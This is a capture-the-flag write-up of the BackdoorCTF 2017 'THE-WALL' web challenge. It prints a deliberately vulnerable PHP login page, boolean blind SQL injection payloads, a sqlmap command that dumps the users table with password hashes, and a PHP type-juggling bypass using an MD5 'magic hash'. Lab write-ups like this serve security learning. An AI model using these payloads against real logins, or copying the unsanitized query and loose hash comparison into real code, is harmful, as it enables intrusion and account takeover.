BackdoorCTF 2017 - Write-ups

Informations

Version

By Version Comment
noraj 1.0 Creation

CTF

100 - THE-WALL - Web

Night king needs the secret flag to destroy the wall. Help night king get flag from LordCommander(admin) so that army of dead can kill the living

http://163.172.176.29/WALL

Let's see this page: $ curl http://163.172.176.29/WALL/login.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<title>The Wall</title>
</head>
<body>
<form action="index.php" method="POST">
Username:<input type="text" name="life" /><br>
Password:<input type="password" name="soul" /><br>
<input type="submit">
</form>
<br>
Here is the sourec of <a href="source.php">index.php</a>
</body>
</html>

We have a simple login form and author of the challenge provides us the source of index.php.

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<html>
<head>
<title>The Wall</title>
</head>
<body>
<?php
include 'flag.php';
if(isset($_REQUEST['life'])&&isset($_REQUEST['soul'])){
$username = $_REQUEST['life'];
$password = $_REQUEST['soul'];
if(!(is_string($username)&&is_string($password))){
header( "refresh:1;url=login.html");
die("You are not allowed south of wall");
}
$password = md5($password);
include 'connection.php';
/*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/
$message = "";
if(preg_match('/(union|\|)/i', $username)){
$message="Dead work alone not in UNIONs"."</br>";
echo $message;
die();
}
$query = "SELECT * FROM users WHERE username='$username'";
$result = $pdo->query($query);
$users = $result->fetchArray(SQLITE3_ASSOC);
if($users) {
if($password == $users['password']){
if($users['role']=="admin"){
echo "Here is your flag: $flag";
}elseif($users['role']=="normal"){
$message = "Welcome, ".$users['users']."</br>";
$message.= "Unfortunately, only Lord Commander can access flag";
}else{
$message = "What did you do?";
}
}
else{
$message = "Wrong identity for : ".$users['username'];
}
}
else{
$message = "No such person exists"."<br>";
}
echo $message;
}else{
header( "refresh:1;url=login.html");
die("Only living can cross The Wall");
}
?>
</body>
</html>

Of course parameter taken by index.php are the same as those in the form:

1
2
$username = $_REQUEST['life'];
$password = $_REQUEST['soul'];

An important note is that the server compute the md5 of the sent password, so passwords must be stored in md5 in the database.

1
$password = md5($password);

They are kind enought to provide us the structure of the table:

1
/*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/

But we can see that our input pass trough a filer:

1
if(preg_match('/(union|\|)/i', $username)){

So we won't be able to use UNION. (UNI/*X*/ON, UNI%0bON, etc... didn't work).

The injectable SQL query is (quite basic):

1
$query = "SELECT * FROM users WHERE username='$username'";

And finally we have the authentication part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if($users) {
if($password == $users['password']){
if($users['role']=="admin"){
echo "Here is your flag: $flag";
}elseif($users['role']=="normal"){
$message = "Welcome, ".$users['users']."</br>";
$message.= "Unfortunately, only Lord Commander can access flag";
}else{
$message = "What did you do?";
}
}
else{
$message = "Wrong identity for : ".$users['username'];
}
}
else{
$message = "No such person exists"."<br>";
}

We know that LordCommander is the admin user and we need his password to get the flag.

As we don't have results displayed but only authentication errors this will be a boolean-based blind SQli a.k.a. error-based blind SQL injection.

We can use HackBar or BurpSuite to send our SQL payload in POST.

A true query like life=LordCommander' AND 1=1-- -&soul=b will return an error like Wrong identity for : LordCommander. But a false query like life=LordCommander' AND 1=2-- -&soul=b will return No such person exists.

So we can do a blind SQLi bruteforce script like I did during ECW in 2016 for 50 - Authentification - Web or during FIT-HACK CTF 2017 for 150 - Let's login - Web.

But I'm a little lazy tonight so I will use sqlmap to dump the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ sqlmap -u http://163.172.176.29/WALL/index.php --method=POST --data='life=LordCommander&soul=b' -p life --dbms SQLite --os linux --dump
[...]
Database: SQLite_masterdb
Table: users
[3 entries]
+----+--------+---------------+----------------------------------+
| id | role | username | password |
+----+--------+---------------+----------------------------------+
| 1 | normal | JonSnow | 8bed707bb9c0a948fa0c465495fc8014 |
| 2 | admin | LordCommander | 0e565041023046045310587974628079 |
| 3 | normal | Targaryen | 6a1def57895118aed6fd730d0dd84ce3 |
+----+--------+---------------+----------------------------------+
[...]

Using various online md5 cracker and crackstation I managed to crack 6a1def57895118aed6fd730d0dd84ce3 as DragonBlood in md5 but didn't find anything for the two others.

Targaryen is just a normal user and we need the password of the admin.

The important part is here:

1
if($password == $users['password']){

This is not a strict equality === and we know that PHP have some flaw.

So I used PHP Magic Tricks: Type Juggling.

For Type Juggling:

When comparing a string to a number, PHP will attempt to convert the string to a number then perform a numeric comparison.

  • TRUE: "0000" == int(0)
  • TRUE: "0e12" == int(0)
  • TRUE: "1abc" == int(1)
  • TRUE: "0abc" == int(0)
  • TRUE: "abc" == int(0)

It gets weirder... If PHP decides that both operands look like numbers, even if they are actually strings, it will convert them both and perform a numeric comparison:

  • TRUE: "0e12345" == "0e54321"
  • TRUE: "0e12345" <= "1"
  • TRUE: "0e12345" == "0"
  • TRUE: "0xF" == "15"

Here the equality is between two string so we can't use something like md5('DHINSE') == '0e5600142234d0ede950b3d30d7c7727'.

This time md5db won't help. What we need here is a md5 hash with only numbers because LordCommander password hash is 0e565041023046045310587974628079 so if we manage to get one both stings will be converted to numbers and PHP will do a numeric comparison.

I found on whitehatsec.com the md5 magic hash (md5('240610708') == '0e462097431906509019562988736854'). We can log in with 240610708 and get the flag.

Since Backdoor is an always-online CTF platform, and not a one time contest, we kindly request you to not publish flags for the challenges in your writeups.

Bonus: If you searched for 0e565041023046045310587974628079 on google there was only one match: a pastbin containing 0e565041023046045310587974628079:MyWatchIsOver. But of course this is a troll because (md5('MyWatchIsOver') == '0afa34c220d2abce41debe1bb010d987').

Share